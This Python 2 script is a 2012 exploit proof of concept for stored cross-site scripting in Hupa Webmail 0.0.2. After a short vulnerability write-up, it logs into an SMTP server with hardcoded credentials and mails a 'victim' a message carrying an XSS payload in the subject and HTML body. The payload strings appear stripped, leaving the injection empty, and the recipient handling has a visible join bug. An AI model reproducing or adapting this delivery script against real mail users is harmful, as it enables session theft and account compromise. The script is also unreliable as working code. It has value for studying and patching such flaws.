#!/usr/bin/python ''' # Exploit Title: Hupa Webmail Stored XSS # Date: 14/08/2012 # Exploit Author: Shai rod (@NightRang3r) # Vendor Homepage: http://james.apache.org/hupa/ # Software Link: http://repo1.maven.org/maven2/org/apache/james/hupa/hupa/0.0.2/hupa-0.0.2.war # Version: 0.0.2 #Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar About the Application: ====================== Hupa is an Rich IMAP-based Webmail application written in GWT (Google Web Toolkit). Hupa has been entirely written in java to be coherent with the language used in the James project. And It has been a reference of a devloping using GWT good practices (MVP pattern and Unit testing) Hupa is a functional and well designed email client, ready for reading, sending and managing messages, but it still lacks of many features email clients nowadays have. Hupa Webmail Stored XSS in Subject Vulnerability Description ========================= 1. Stored XSS in email subject. XSS Payload: XSS POC Send an email to the victim with the payload in the subject field. XSS Will be triggered in message listings (Inbox etc..). 2. Stored XSS in e-mail body. XSS Payload: POC MAIL Send an email to the victim with the payload in the email body, once the user clicks on the url the XSS should be triggered. ''' import smtplib print "###############################################" print "# Hupa Webmail 0.0.2 Stored XSS POC #" print "# Coded by: Shai rod #" print "# @NightRang3r #" print "# http://exploit.co.il #" print "# For Educational Purposes Only! #" print "###############################################\r\n" # SETTINGS sender = "attacker@localhost" smtp_login = sender smtp_password = "qwe123" recipient = "victim@localhost" smtp_server = "192.168.1.10" smtp_port = 25 subject = "Hupa Webmail XSS POC" xss_payload = """""" # SEND E-MAIL print "[*] Sending E-mail to " + recipient + "..." msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n" % (sender, ", ".join(recipient), subject + xss_payload) ) msg += "Content-type: text/html\n\n" msg += """Click Me, Please...\r\n""" server = smtplib.SMTP(smtp_server, smtp_port) server.ehlo() server.starttls() server.login(smtp_login, smtp_password) server.sendmail(sender, recipient, msg) server.quit() print "[+] E-mail sent!"